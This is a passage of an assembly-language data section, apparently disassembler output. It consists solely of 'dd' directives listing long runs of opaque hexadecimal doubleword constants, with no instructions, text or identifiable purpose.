0B0C9BDE4h, 800D185Ah, 7FBC0817h, 0C8994D1Eh, 0A5351604h dd 0C18348B1h, 0F29168Fh, 0C7B92E81h, 0C280357Fh, 0F97D2477h dd 0F57D3FF4h, 3CAE5A47h, 0D224E1E0h, 95D22CFCh, 403B54A4h dd 0E1C1EF1Bh, 0F11C94A5h, 1366092Dh, 0B74FA125h, 86A782F3h dd 15813150h, 0DAA447E2h, 74CE3CA8h, 495FC881h, 0ABD4A9F0h dd 5ED6C053h, 0E88C691Dh, 9D0A66EAh, 0F9623C9Dh, 84F61A5Ch dd 0B5F6C151h, 0E24454A0h, 37E4A424h, 1B0F06ACh, 0DBD5EDDEh dd 3064FF87h, 1C1395EDh, 90985F96h, 5B603121h, 0F5CB802Fh dd 0D0B0F344h, 0FF6835FDh, 63AD2D41h, 50EB2379h, 0FF259171h dd 28084D2Ah, 0EECD580Bh, 0E0379D18h, 0BBA62DF2h, 2544E0B8h dd 91ECEADCh, 4D75EA6Bh, 0CF968A7Eh, 0AB2B2F5Eh, 8DC5A0C4h dd 0B67A646Ah, 0A962E638h, 1601090Bh, 0D9ACF8E8h, 3D4E837Ah dd 78E4820Ah, 62EEB8Dh, 45CE24E6h, 2C9279EEh, 0C3B4195Ah dd 633E2FD2h, 35B2F15Eh, 0BBDEA339h, 34A55A7Dh, 0BF636737h dd 6F2D05B9h, 53A95CB9h, 1A666F32h, 3387970Bh, 0C77FD5FCh dd 0AF07031Ah, 4AEB007Ah, 44CD4FAEh, 0D664651h, 83E174F4h dd 0C0F4EE58h, 0C295CCABh, 21F10DD7h, 5DA863DFh, 0A98EE96Bh dd 620C5854h, 0F481229Eh, 3FC48BF9h, 17AA6F26h, 0E1D38B66h dd 9DCB3EAh, 0D7ED51FEh, 391C2F4Ah, 61E3EDFFh, 0F001F352h dd 0DE332D8Bh, 0E9B7E727h, 0CF41CF9Ah, 40F90C8Eh, 83216278h dd 0EF568B1Ch, 9166FB14h, 42D8A77Dh, 96F71497h, 0A3AD37EAh dd 18AAE944h, 6226098Bh, 0EB1AE3E4h, 7837B1B4h, 1D61C9A8h dd 1BE22EB2h, 0B9988E14h, 454AD368h, 0B7092D4Ch, 82CF9602h dd 56314A0Bh, 79A3F59Dh, 74721644h, 3B9BB3Ah, 5FB0134Ah dd 0E47B1637h, 0E0A65468h, 6EFEDEB5h, 0A035586h, 157C1A21h dd 0DE833342h, 938FB833h, 4F5E2B61h, 0B0A92680h, 9A41FB78h dd 8642DA08h, 8D33C2Ch, 0B9CF6876h, 0B9D0D147h, 0AA6F08A0h dd 0DF931529h, 9F16680Dh, 13E09D0Eh, 0C45AC3BBh, 1522FEEAh dd 5306358Ch, 7B7C02D5h, 1B401984h, 7A8EA3C6h, 80F479BFh dd 3C41C49Fh, 0E3A4D7D5h, 0FCFB977Ch, 51BB656Fh, 0DA714AAEh dd 3B1EE187h, 3AE3B4F9h, 6DF4A62Ch, 5264A8A3h, 2EC6AC9Ch dd 1B8B6A11h, 109370D1h, 58825DCFh, 971A451Fh, 1FCF21F8h dd 0E5584BC1h, 0CA28C346h, 3092D69Eh, 0CB910B5Dh, 0CCB0F2DBh dd 0C986C44Bh, 0F586B11Fh, 0BBDD95h, 21F1B49Eh, 7A07BDEh dd 346A5BA2h, 0FD09E61h, 0E7485FC3h, 0FA072501h, 2B2425C8h dd 1727FA16h, 9537748Eh, 22F0E624h, 1B8AE4Fh, 967FE26h dd 0E0444980h, 48DE1355h, 0D63E2D2Bh, 26F3956Fh, 0B05ECFA0h dd 0A531BD9Fh, 0F72F4948h, 0C87B534Dh, 1449C059h, 476696EFh dd 0A0F4AC8Ch, 79AC23D4h, 1904B84h, 83550189h, 59A25E44h dd 0C08CA2B0h, 739D2A4Bh, 0CD74DADFh, 98CEF2A8h, 44B87BA3h dd 2D345677h, 0C7DD2A22h, 92EC2283h, 0B07946DBh, 9C2DC2BBh dd 5997655Bh, 58C3082Ah, 0C2C7EEC4h, 0EF9F8DB7h, 6A049CEFh dd 947C72BAh, 0FFF9A2F6h, 9EB30D0Ah, 4C6C9CD2h, 0D61CB3DAh dd 9EBE38FAh, 3225EE6Bh, 9A118F14h, 0C4D6EA7Dh, 488032AEh dd 0F5262388h, 0A2E1789h, 6CAD121Bh, 0EC0DF649h, 0D00E5C09h dd 0B9E57Eh, 0E76F4F31h, 0F8DF0448h, 3E67A01Ah, 0FBD460C9h dd 0E33D39D3h, 6F315D29h, 0B916BBBFh, 0ABC8D314h, 0CFAB7EC4h dd 8EA850EFh, 0D991CF82h, 70CC2807h, 0FDD356E9h, 9238EC7h dd 0F39BA30Dh, 52C34682h, 94C3C65Ch, 9DB5C035h, 8C0D98CEh dd 7ADAAB7Dh, 0E06812CCh, 0DBCEBF77h, 27B9439Dh, 83C3FCE5h dd 591C9755h, 7077204Fh, 3936B781h, 524FD84Fh, 15677A0Eh dd 5798B416h, 0D80B175Fh, 43BE9FEBh, 0B1FACE3Ah, 0F95E5B14h dd 0E034420Dh, 90FB26Bh, 1EF7BD4Eh, 21C6398h, 897F1DB5h dd 0C6834BC9h, 53793FE4h, 0EAD0B05Bh, 2AD0240Fh, 1F499F93h dd 7E41B8C1h, 0F3695312h, 25A9FF44h, 0C0BCE8E5h, 8199DDCDh dd 0E48E3CABh, 39E5DD14h, 0FC8667B7h, 0E7FA4041h, 720362A1h dd 5E3DED66h, 1CAC6E42h, 0EEAE62B2h, 0D2B591A7h, 810CD67Fh dd 8EB7A01Eh, 4DFBF59Bh, 0E08F3820h, 0B97866A9h, 0FB0E2ACDh dd 9D767C94h, 0D4F97378h, 1608E518h, 0A4BCFDF5h, 76C63BFEh dd 0AA7BC20Dh, 5DA32121h, 4262325Bh, 0B1E207F4h, 164F6E92h dd 647726ADh, 0E1C51AE3h, 4AE2A40Eh, 0A79B86Fh, 5053D764h dd 0FAF7FE3Dh, 0DD80BB69h, 0BE341EFFh, 0E0C90B71h, 0F503CBCh dd 23DB55B2h, 2B3BEC8Fh, 99B3E322h, 0EAE4E8BDh, 7DA210AFh dd 7EE6B390h, 9E9267D8h, 776B42E4h, 2872F4DDh, 10921229h dd 0F9EFFCE8h, 0D6E590E4h, 0DBD26943h, 604779D5h, 9F171FFFh dd 97151EF0h, 3BCDD9FDh, 0B57737Bh, 0E646BDE2h, 5D5D5B03h dd 0EC4C008Dh, 7C33A85Dh dd 0AED2EDFh, 0A11035B8h, 72B448D2h, 8D81F1EBh, 69243182h dd 7CFDFD4h, 0CD463494h, 9EF0AB92h, 13DC3A4Ah, 0D00B4A12h dd 6E1AF688h, 0C0997A21h, 10B47F23h, 0CD14456Eh, 0E196D165h dd 66C88AF2h, 905D868Ah, 0B2E888CAh, 0CD5A7254h, 7435CFD2h dd 0FABC42B3h, 0A314CCC4h, 99CBF9FDh, 146E52h, 0C130E688h dd 0DA297C27h, 0E8CFEB0Bh, 4CB0CB9Ch, 0E05B1CD0h, 4F83C289h dd 0FFC749C0h, 4DE4CBC6h, 83CD5C6Bh, 1B0C6803h, 9314300Fh dd 8640254h, 4A806869h, 375A6FEEh, 272F9E68h, 67BA2465h dd 4CBB806Dh, 0A8A7845Fh, 109CBC73h, 0D531A9AAh, 7B3F8AE5h dd 0E5D97AA7h, 6CFD7551h, 0BF822EE2h, 0E2B6D7F3h, 3E4BB67Ah dd 0C0616206h, 6FABFD48h, 0B29DBA2Eh, 62CBE420h, 35F82BEAh dd 80E3C157h, 3D2442F9h, 8ED1689Bh, 0A053D244h, 13EBAFD0h dd 1F26D958h, 22940625h, 0F0517962h, 26ED556Ch, 7D2926EBh dd 0D8B05CC1h, 0EF608112h, 0B1D6E71Ah, 0ED2C1283h, 0A0EEBF5Dh dd 4627442Dh, 1DA84453h, 58E4CB0Dh, 27BFACCh, 57FB711Fh dd 0A6924E58h, 97297F74h, 0F552E4Ah, 0B0ED057Dh, 0F2293262h dd 0A959893Ch, 0A8FF1CDFh, 3F865F2Ah, 2EB11DCFh, 39305055h dd 26A8240Fh, 2EC44A10h, 0A54E64D4h, 0A43010F8h, 0BB16A6A5h dd 13EA86CEh, 3FDD9DA0h, 0ACCBE3A8h, 47C4F681h, 1F6F350Fh dd 27E37D6Eh, 0B2204B1h, 0A3F9A881h, 3A3DC4D9h, 48B0CBFDh dd 27A40B1Ah, 0C74C641Ah, 85684DAh, 0BD651640h, 9A9FBDC9h dd 0DD49E470h, 4B8BCA83h, 52DD934Ah, 328DBDB6h, 0D8C9A71Bh dd 0EFFD17F1h, 5870FD87h, 5B8527EDh, 0E8856145h, 0B5078DC5h dd 0CC6587E9h, 6A964FF0h, 79B1D3E3h, 0FBEA0686h, 2181AD6Dh dd 618C405Ah, 0E5146A5Ch, 490DCCD4h, 0A9DCE547h, 0C19DD5EAh dd 3A9DCA4Dh, 70555F82h, 0C7C6952h, 0DE84661Eh, 0AD747D32h dd 33ADC224h, 0A4559419h, 2C79603h, 872A2E70h, 84110662h dd 0BFEB279h, 3D2F17E2h, 760A47CBh, 99121F37h, 543723D7h dd 4AE60B8Ch, 0DA0270A3h, 0CE2BC358h, 0A788017Ch, 3B347296h dd 3B9673E8h, 0C01ADEAh, 0F41A2487h, 11965356h, 7D94314Bh dd 321ED5D2h, 4A65B2C1h, 471976C6h, 45F535F9h, 7F80166h dd 381EED7Ch, 3377C952h, 49032499h, 2D825980h, 0DD5E5E45h dd 0EAC47C67h, 1507C9E6h, 5050D8CAh, 0A4FC342Eh, 0EB63B3Dh dd 0DF64A88Dh, 6A1E5C24h, 0C1953E7Fh, 0D5CAB5A3h, 0A43766E7h dd 5002D896h, 693420AAh, 2EB98F11h, 1C7816A4h, 379BF6A7h dd 7C7AC75Ch, 5BA983C4h, 696F31C2h, 0C95B93BAh, 1F591F44h dd 99104CBh, 4BA700Ch, 0C18B1592h, 0F4FF4E3Fh, 0C956219Fh dd 0FD2692ECh, 9F9DD3A5h, 3B6484h, 1B5C7BCFh, 95DBCF60h dd 0FAA7F68Eh, 32C7B149h, 38C05CFh, 94D3C81Dh, 0A40E6CF4h dd 35902275h, 0E4361AF5h, 619C96BEh, 0E1769188h, 3B312D8Ch dd 3A266F60h, 0BD1D4555h, 0AB662976h, 1E7E38CAh, 7F93954Dh dd 0C4D84D78h, 0F78F542Bh, 0BC934A5h, 0B4A7E648h, 60DEDE08h dd 52E79859h, 26DDF7A7h, 34FBC82Fh, 4ED0B363h, 95B03135h dd 0E8C69B23h, 5BD731Fh, 0A09C0352h, 0BFCC3FE1h, 0A4FA4C77h dd 9BDA172Eh, 88050130h, 0E8C50D6Eh, 0EE1B6A5Eh, 63C5CCFh dd 7718B7D6h, 0FAD50B57h, 0AEA2CD2Eh, 8CF6D314h, 0A09E86E3h dd 0AB2115E9h, 627EFD12h, 0CBA437D0h, 0A7F4E2E8h, 656909E8h dd 16BC04BEh, 0C9858F49h, 0C443535Bh, 0C55F8DE5h, 979B8ADFh dd 952B0FE6h, 0EE465190h, 46993087h, 971ADC5Ah, 0F273EAAFh dd 0BE81722Bh, 6C8D9F52h, 0E3DE09C1h, 0D3EFCFE3h, 0BF11127Ch dd 86FEE27Dh, 77D66976h, 519CE39Ah, 89E4FA85h, 4E9DB3D9h dd 0D6D598D7h, 0D75131A0h, 4662B3C1h, 55BC126Dh, 29DE859Bh dd 4A31E89Ah, 29CAAEEFh, 5545BCF5h, 0BB469177h, 7458F3CBh dd 837C0103h, 0D9BF2321h, 0DAFE6DF4h, 83A6F61Fh, 0B508AB4Bh dd 5FBDD86Ch, 0C4A02D09h, 0D725EC59h, 972E9FE8h, 9BA3B0C2h dd 0BDFBC8EBh, 8A3A5525h, 0A00306DCh, 237E997Ah, 40AE920Dh dd 79FB93DFh, 0D03A4296h, 8312FEB9h, 0E1955C28h, 0DE258E10h dd 0B29ABA1Eh, 70FA1CE0h, 8E9ECB80h, 0F054F426h, 12C22B01h dd 9D4D2355h, 2A55BC1Ch, 83BA20C5h, 56EAA36Bh, 1BD3C300h dd 0D9371511h, 4CB822DBh, 0A6C10574h, 3B10C253h, 939EBD6h dd 8770BA81h, 4645DD89h, 5D95BCFh, 67E87F73h, 0FA41CED5h dd 67B035EEh, 68479544h, 50164C58h, 8603F981h, 45ED0F7Dh dd 668F880h, 322DC205h, 2D6045C3h, 47143017h, 0A3EB7ED5h dd 857EA957h, 2EB661DDh, 51FD60D8h, 0B71222B7h, 0A6F4EC72h dd 4F2FA8B9h, 0C4DC4921h, 0F8D7696Eh, 83698C69h, 6BBF0792h dd 619DFCh, 33C1A1FBh, 0FB0A7FC6h, 0EE0E804Fh, 2C281872h dd 2A0E1A27h, 0A3F11B27h, 0DD9551D8h, 0D9F4C6Bh, 0E81E6CABh dd 33083DB1h, 5791C67Dh, 0B2F7955Eh, 1996EA6h, 937EFEFEh dd 0AE8A9B56h, 387D7747h, 0CB6E4F52h, 2AC539B6h, 2FF088F2h dd 0FB8CA1E1h, 92364FAAh, 0F0D02CEEh, 4CBDC8A8h, 72B69095h dd 3B8446Fh, 0A732665Ah, 5945D14Bh, 78903A29h, 43313A12h dd 360AD450h, 986B4800h, 0F4598FFDh, 0E250C613h, 0EE57E9DAh dd 34C4180Ch, 0FC512DBDh, 0AE80E502h, 1092341Bh, 0B750EC04h dd 0E81E0FF1h, 128AA7F3h, 0BC0D1F33h, 39D3D6BFh, 85C01D78h dd 1B1A6EE9h, 9F56EE6Fh, 0E86380A7h, 3529E6B8h, 0AF59D5Bh dd 56CDF03Bh, 0FF247DCFh, 0C704EAEFh, 0F67A19F2h, 16F4598Ah dd 0BF48FF80h, 5287E0EEh, 0ACE4394Dh, 4C0E82AAh, 6556785Eh dd 0EB57FF3h, 0C319AEA4h, 0EC3F21E3h, 3FA52B12h, 0C4BDC8EDh dd 0B8060378h, 360562CAh, 16BB91F7h, 0A3E49CD8h, 0AAFC535Dh dd 30981491h, 0E9638CF2h, 9F5535F2h, 814C4966h, 613DEEB9h dd 40953499h, 799356C9h, 68BF3036h, 2C01092Dh, 8BDAD2BAh dd 0C23D12F1h, 1CAFDFA1h, 2770A5C6h, 3F5279A3h, 2314B443h dd 6804EB4Ah, 52F72F9Ch, 0FA865A87h, 0BF51CA06h, 0FDEED3A9h dd 736318B0h, 322846C9h, 0A07560C0h, 0C7166C6Fh, 0DCA3CA45h dd 0A126218Ch, 3C7F936Eh, 0DC360233h, 8E7866E9h, 0F7964E8Dh dd 71CBED75h, 0CAE33F87h, 0D83E633Fh, 5A8F9228h, 0F68649D8h dd 4C89D381h, 2B59AE60h, 0C809FDECh, 7C42AFAh, 8AA2BA70h dd 70B08BF3h, 0E57736B8h, 9B90AF2Fh, 0BBF4DE0h, 0D10E0400h dd 8FA33AA8h, 6C8249A0h, 7E5C14ADh, 3ABDE3EBh, 0B6F0FC14h dd 2109CAFFh, 2B3224D2h, 666EEFAh, 84CA7D91h, 919DEDECh dd 79CDF878h, 0C5181E0h, 0FFC409B4h, 201F37B9h, 119EF006h dd 5CBE8F36h, 0E0F5E16Fh, 56789C56h, 4A6ABA83h, 9814B86h dd 0A7900581h, 0B2543CFAh, 6E734C55h, 64229B42h, 0EEC067D6h dd 0F56CBDA1h, 0C2D230h, 6A6F4A2Eh, 0CED20148h, 27BB1559h dd 48A4BDBBh, 0B2210373h, 9AE54A61h, 0C2A1F118h, 0D1CB405Eh dd 0AE5748ABh, 484FA0Ah, 7EBF7FE8h, 860464EAh, 64710538h dd 18CE8BE1h, 4ACF954Fh, 0EB7DE045h, 4DC50921h, 0E2498095h dd 0A527141Ah, 18F3FC64h, 87D07AAEh, 4ED5AE86h, 6D1C8A7Ch dd 611793A8h, 5D50C547h, 0BFB6FC94h, 145BF030h, 60D2C3E7h dd 0EA22EC83h, 929ABBD7h, 66502194h, 0D8B9378Eh, 952490E5h dd 377D2962h, 734F7635h, 0E144EBB3h, 639C2041h, 9677BAF3h dd 0DD30F9B0h, 611FFA3h, 18137D10h, 0A723015h, 2EA8A02Fh dd 86D17DB3h, 0B875B51Dh dd 0E5736684h, 0BED1948Eh, 50AFE6ACh, 0A28282C8h, 0C1676BACh dd 9B480214h, 0DA1FB098h, 236C64A3h, 0BB35324Ch, 53495CA0h dd 36696C65h, 36FAD1D4h, 0A0823214h, 0C9310329h, 0DBD4640Bh dd 0B0C20B77h, 0A99FE77Fh, 35958A8Bh, 0C8D874B5h, 9ED4C2Bh dd 0FC000644h, 36755B11h, 93BB3F39h, 26AEA354h, 7A1E01CEh dd 0D6542CC3h, 0E5BA4223h, 0DC52C668h, 95C2EFB7h, 7FAD9863h dd 98C3EE1Ah, 9B475F7Ah, 43C470C6h, 76D3A6E4h, 4DECB7ACh dd 0DF3E0D32h, 0BFF4F3D4h, 0CCDC202Bh, 58A1D953h, 0A30F3465h dd 8969DFA6h, 0A04F6A64h, 2CA0AC7h, 43974E87h, 0EE610883h dd 0A07F92C0h, 22EDB1F0h, 0FC1B9C5Bh, 51AE56FAh, 528F8E61h dd 0D36D6612h, 7F5CE78Ch, 7F6F7277h, 0BEB19174h, 36AE6B8Ah dd 228BD974h, 3ECB4E41h, 5053607Bh, 0BAF937Bh, 0F8AE4D86h dd 7428108Dh, 6D1A350h, 0B51D6FDh, 0C4876ADh, 0DCA2B9AEh dd 0D66BA330h, 0CF8B096Eh, 4B111F9Bh, 5B246877h, 5FF2A30Fh dd 0F857876Ch, 3C46DE8Fh, 0AE1461E2h, 0BDA22394h, 7677FD94h dd 6EF422Dh, 320E6467h, 4ADB9054h, 6EC71BBDh, 0D15C26B1h dd 94D00DF1h, 0C62FC54Eh, 0E9DBD59Fh, 3DC17197h, 7D003145h dd 9D3F2AB3h, 715A1AA3h, 51096D57h, 0BFBAD754h, 6CC59DECh dd 983B40C1h, 666B463Ch, 935C12D7h, 16B0D807h, 92E8A903h dd 31115336h, 624833C5h, 49C6D4FCh, 227F9D2Dh, 0F2068D6Ah dd 1769D5D7h, 4EC3EBE1h, 1537E6AAh, 0B8B73CC5h, 1D08452Ch dd 3B2415CFh, 92452EFBh, 7AD69C44h, 0D54FFEA8h, 0BEFCEA99h dd 0E998FE4Ah, 0CBC6F6D4h, 69FE08A9h, 0C99DCFFFh, 8F310834h dd 0EAAB9715h, 53F8095Bh, 0A36DFA82h, 0ADFC920Eh, 997BE627h dd 41CC537Ch, 46862972h, 68C6C22Ch, 62BC2B4h, 0CE2A8885h dd 578E5FAh, 1F67E2A0h, 192F55EDh, 5605F152h, 72387A10h dd 0E417863Dh, 40371C17h, 5988E4F3h, 0E0C15D18h, 0E382B50Ch dd 0C9B8A033h, 9816BBDDh, 47A2A863h, 5CA4CC72h, 372E6217h dd 15A454DAh, 6EF773C3h, 0A90B9484h, 44CC2C5Bh, 61DD36D5h dd 8F1FC674h, 7C6BBEBBh, 0AE239962h, 0F4CA49Fh, 74F59B09h dd 0A278A205h, 3D8D4919h, 6088AB3Ah, 0B0C16D13h, 7C66ED41h dd 69EF5170h, 61CCC1D8h, 0B3AC5A20h, 0A18FA20Ah, 7D5EF29Ch dd 5FBDEDE5h, 0E21D6D6Dh, 48811422h, 0D73A6C06h, 28EBB171h dd 3C43E653h, 576C9608h, 5E438284h, 0E29C1097h, 0F789D980h dd 0B49C0580h, 0C8F52EA3h, 590F812Eh, 2FEDEB6Ah, 0E8CD6A03h dd 0A7A6B1C4h, 0FE573A4Ch, 469102CDh, 0BC79CEC0h, 0CCAAC46Ch dd 53EE128Bh, 2067ED6Ah, 4A631507h, 0D2FD07Dh, 0D65C2285h dd 0F6D6C96Ah, 54AB310Dh, 64DD0A49h, 0F488AB82h, 0A845B70Bh dd 78A03CAEh, 25A2AB62h, 0DC72B47Fh, 90039F1Dh, 7B351D9Eh dd 4B5360B2h, 23797B02h, 0E50C766Bh, 38D62BCAh, 0ABE46944h dd 6AB427E7h, 0BBED7DAFh, 701A8488h, 0E61B699Fh, 47DEE3B5h dd 4A573890h, 2069B082h, 7252C36Fh, 3926D491h, 5519D9ECh dd 73994E3Eh, 9D5FD78Ah, 4965EF9Bh, 41EDCC4Ah, 0B31BD396h dd 167DD77Bh, 0D85ADC0Dh, 457B1295h, 5706641h, 40A92C9Bh dd 883BF23Dh, 0AEF10104h, 3574B8B4h, 790A231Ch, 7C38F012h dd 0E54DAC94h, 6873FA44h, 0B94D947Ch, 0D71C0FC5h, 7637C52Ah dd 3417F301h, 0D242398Bh, 0FC2903B9h, 429E3BBCh, 0CA6432B1h dd 692D25AAh, 0F15CCAF7h, 8E4F6706h, 34E0EA82h, 0F07DA150h dd 80D9BD43h, 0B2E9FC65h, 0D4B537DEh, 0FEA76671h, 78F65Ch dd 0A86E82F0h, 0AD09B3A5h, 16C765F8h, 63A5EC54h, 692DCCF3h dd 94A395F0h, 0C519DD6Ah, 0A6AB9309h, 811EB313h, 0C86B6AB0h dd 1E2BE35Eh, 4A971300h, 97D6DDBFh, 8A11FB18h, 0D4B7BBEBh dd 52A6A0B4h, 3DCAF805h, 1A3BEE28h, 6B4A2050h, 0C90043AAh dd 5C7913BAh, 0C2AB1A3h, 0BB3F2798h, 84A89ABDh, 0FA33EAA8h dd 327DB08Ch, 0FF76D2C7h, 1FCFA752h, 0C53141B6h, 41CD9D65h dd 746ECC96h, 0FCD6AFFh, 2716691Bh, 9ADF149Ch, 4ACA02BCh dd 69062BEDh, 0BDD27FAAh, 547488D9h, 95123F36h, 491F32C5h dd 2F38500Bh, 0D9BCBD52h, 0C79FFF4Bh, 0D0E1C0F8h, 402B20E5h dd 62D311B3h, 0E85ADB11h, 5A5CC747h, 5AFE4A67h, 0DE3DCF6Ah dd 0A7D601Ch, 0AB1A8630h, 0AA0BF31Ah, 48275B74h, 74FCCE28h dd 2A0DD63Ch, 1BC1790Fh, 40C4E5C2h, 0EFA10CBEh, 0F0D2A330h dd 0ABC91327h, 6C207481h, 808A6E23h, 0D37B640Fh, 0FF63921h dd 0CA698A6Eh, 78A30467h, 75C998AFh, 0EB353CF8h, 0F00B1332h dd 0E4AB5B8Dh, 0C6A36C76h, 0E8D74281h, 0F8CB3D47h, 5AC6FD76h dd 1CD09B0Eh, 0E986FD00h, 8848DE32h, 8F576718h, 0D664B9B9h dd 715E8231h, 0FFE356B2h, 0DBE2506Bh, 412E247Ah, 0D01F442Bh dd 15B5C265h, 0C7B5D003h, 0C15A3011h, 16C8F95Ah, 0E391105Bh dd 65FAA444h, 3F54A15Fh, 0E58D64E7h, 8DCF3BF6h, 4D00A1FDh dd 0B716DF90h, 0C08D9B62h, 160B6247h, 0B10A992Ah, 8A538C9Eh dd 2F5C42B3h, 58447CEFh, 7161B6Fh, 0CC49785Fh, 62080101h dd 7E4FC443h, 0B0BF7CD0h, 0F735E6FFh, 0F1BC79CAh, 8CB26B96h dd 9238C1A7h, 0F0CCE2ACh, 7073DC29h, 0B81A3EE4h, 0B448150Eh dd 0C384F8B3h, 61BC1AB6h, 9E365D84h, 0DABEED5Ah, 87EDE9D8h dd 9A617CD4h, 0EA66ABCBh, 8325DC8Dh, 7E8546F9h, 0FC504419h dd 9994A708h, 9890B1BDh, 53B5A1FEh, 0A48DEBCh, 77E4187Ah dd 488E22C9h, 70FEDCCh, 0A85B1A5Fh, 27F2D001h, 8B95FA70h dd 83CC6F6Eh, 0D459BE32h, 782DD35h, 2854758Ch, 0E6ACF51Dh dd 21F38990h, 7CF2F413h, 8BE330E2h, 0D97D8D37h, 0BFDC1926h dd 0B810530Ch, 0AD170449h, 0D05AF43Dh, 554C1649h, 91F733C3h dd 10FE9BF3h, 8AB7665Ah, 0A946F213h, 9329EBBFh, 2AD4208Ah dd 12DB0C3Eh, 0AEC732E6h, 0EBB2E455h, 232280F5h, 40763E27h dd 97B7B32Eh, 43C6A75Eh, 0B60E7459h, 698A91B9h, 10F67621h dd 11F95C2h, 0C028A5E1h, 0B9E91D77h, 0BF719CDEh, 32CCB68Fh dd 35B4C9A4h, 5CF3F250h, 0A5B668BEh, 44B8238Fh, 583FFD9Ah dd 142A9765h, 57657CB5h, 8DFC99C5h, 6A21E30Eh, 88CB48E0h dd 25DAD2F7h, 99D33914h, 96FD4BB3h, 4451FC4h, 529EC251h dd 0C7BBD2Ch, 0D7AA76ACh, 0A4A1D3C0h, 1B67BB4Eh, 0EE4E0DB3h dd 8E33021Eh, 88324A02h, 732F1A74h, 21D08009h, 0EDE529D4h dd 0DCCBB326h, 8E87417Bh, 0BE8DDBAEh, 4A925CFEh, 0AB0E8DC8h dd 2CB58386h, 0E4A92C07h, 9368E56Dh, 0AC9EE188h, 28718F05h dd 5BA47D77h, 0F015E38Bh, 0B52EF600h, 1A175EA2h, 0A4A9E52h dd 99E11D11h, 8345EEC2h, 0D39CE972h, 0C42CFDE2h, 0A36FA4C4h dd 0ED47B487h, 6D238B09h, 0F3F75F02h, 52A82DF9h, 0C2683C7Bh dd 0CE947680h, 0A884E4DBh, 5CCE282Fh, 53D82DDBh, 99454F75h dd 90303B5Dh, 0EB226EC3h, 0A68C0B47h, 3A1DFF25h, 670B2D5h dd 8F0BDE44h, 2DBDD82h, 75CC2001h, 54E00C7Bh, 62B64934h dd 3262A572h, 0E0A2F4BCh, 1742C7FCh, 0EFD2C761h, 856D89DFh dd 83E9A1B4h, 0E76F0E4Dh, 9429D3D3h, 2403EECh, 506AF78Ah dd 0D04450D5h, 80947C8Eh, 4305DF7h, 396807F1h, 0E680215Eh dd 1EAFF0C3h, 676C2880h, 5F9EA191h, 1F9F6182h, 0E2C30CFFh dd 7D6528D8h, 0EE8D087Fh, 0CA4E491Fh, 2B9802CBh, 0EAE989BFh dd 74239E59h, 7EFF3096h, 9CDD14F2h, 0FFCE2911h, 0FDEF5A6Ah dd 0C77A763Dh, 0F9614116h dd 8AE91657h, 6F8C4C59h, 0FA6F31C5h, 1FBB2E51h, 0BB2C201h dd 9C697D0Fh, 9470B504h, 9E6EC113h, 0E730DA80h, 9EE9A094h dd 0C37CDC0Eh, 9C8ECDD3h, 455E1091h, 46CD2337h, 0DE623796h dd 0D24F0802h, 1B188AC0h, 0E0D6C04Dh, 0B52421D4h, 0B598CA01h dd 6DC28D35h, 8A15CB9h, 83290EA2h, 9FBC0F0Ch, 8D874137h dd 4B49B152h, 0F98C0C38h, 2282E0D7h, 30774187h, 2C992B42h dd 0EFB1F70Bh, 52869087h, 0F4E9AA2Ah, 23D10032h, 94291A97h dd 48C35C2h, 0FC608517h, 228A9D9Ah, 937135C4h, 15C18D68h dd 0BE3ECF67h, 80E6DF22h, 8AD680D5h, 0F17360DAh, 4DE8429Fh dd 7C39AF04h, 0AB7E064Ah, 23B3991Ah, 8D487A3Bh, 31D78598h dd 53467116h, 0B2920076h, 69F08BCEh, 2FE1476Bh, 202FBD39h dd 366BBE49h, 0BBD2AF6h, 0CBBC7568h, 8233A9E7h, 475B4DD6h dd 88609B13h, 3776BC50h, 657676DAh, 0AC1EC7D1h, 0AE4BBF69h dd 0D631CDDAh, 550A4452h, 0E666E7F3h, 0CB677B9Bh, 0A211074Bh dd 0D90292AEh, 97DEE57Eh, 5BBE0D4Eh, 9E06D059h, 19CF83B0h dd 3C1C0A28h, 13D9D282h, 8D778A81h, 78FFD732h, 8685D3C7h dd 816B324Fh, 105A10A3h, 46AD33BCh, 80E5245h, 221BC2F8h dd 7981D545h, 0A47A6AF9h, 0CCB8C040h, 96860456h, 1B083964h dd 448642B4h, 676DC9D3h, 0E8A59291h, 7F2041F3h, 565A13A9h dd 7F6AFA3Eh, 623B2E93h, 0B8F18ABDh, 94460C07h, 0F7E1F3D2h dd 87B2C534h, 5529F06Ah, 0EC612FEBh, 0FB7064D2h, 0B9213BBDh dd 4E6DACB7h, 0D0ED3890h, 473DF80Ah, 310558CAh, 8C988EDCh dd 0FCC07D24h, 0F1FDCFF1h, 6FAA1842h, 6E192ED3h, 0EC11207Ch dd 5FBFB239h, 6E6FBF97h, 3D744FDh, 0C3FB8E81h, 0DCCC7CFBh dd 8FF0025Fh, 78BF4908h, 5E74864Bh, 77BC5461h, 0EA69F92Dh dd 8A2087CAh, 87BBD03Eh, 0AD88C42Fh, 76C45A1Eh, 0AA74F741h dd 3319D374h, 19C1B3DDh, 0C0DDCAADh, 73CB548Bh, 0A06F4EF2h dd 0E039A944h, 0F993A9DBh, 0E799923Dh, 76A8A026h, 0DE202679h dd 3CB45461h, 0D7F480FBh, 20678041h, 11C72C7Fh, 1DD483C1h dd 233DB9E3h, 0C7B1CE4h, 0ECDBA35Bh, 7BE7B98Ch, 5AE9055h dd 7FEE6696h, 5D11F79Bh, 0E2F60342h, 0ACAF2D3Eh, 0D49A8155h dd 6189F3E9h, 7087BEBCh, 17763C79h, 3CFD7C92h, 151F49A4h dd 0DF1A5180h, 0FF6F482Fh, 1616FB3Dh, 9C227D98h, 425E385Fh dd 0B524D68Ch, 926ADCB8h, 2198F7ABh, 3C5BDF87h, 875C45BFh dd 0E0F084Bh, 0E96893D6h, 0F7A0CB09h, 866197D4h, 0C5B698E5h dd 43FB77F8h, 462710AEh, 4B4FB9D2h, 0EE0B5348h, 8BB99300h dd 0E9894978h, 0B3CD3EDFh, 0E64E9D66h, 0E28927DBh, 7E4693A6h dd 79ADFF93h, 0ABCBE5BFh, 5EF0A2DBh, 0A6B738C6h, 50184A85h dd 8E51FA8Ah, 3795A2CDh, 6E8C5423h, 0A32FDEC0h, 19C6CB28h dd 139FCD1Bh, 27198120h, 0DFC0DAEFh, 2CFAC930h, 261551F5h dd 0E5784CD9h, 0E17D4876h, 7E8628CFh, 722CE165h, 95E2766Eh dd 4D053286h, 51F4DB4Fh, 24DE3E77h, 0F1F9BD5Dh, 8F9A65F9h dd 43404B63h, 0B769C870h, 0AC5E256Ch, 3F61EA96h, 0EEE219B7h dd 66B489FFh, 4AB1B383h, 0A92C2062h, 7573D5ABh, 0A26C5AD2h dd 153E4B76h, 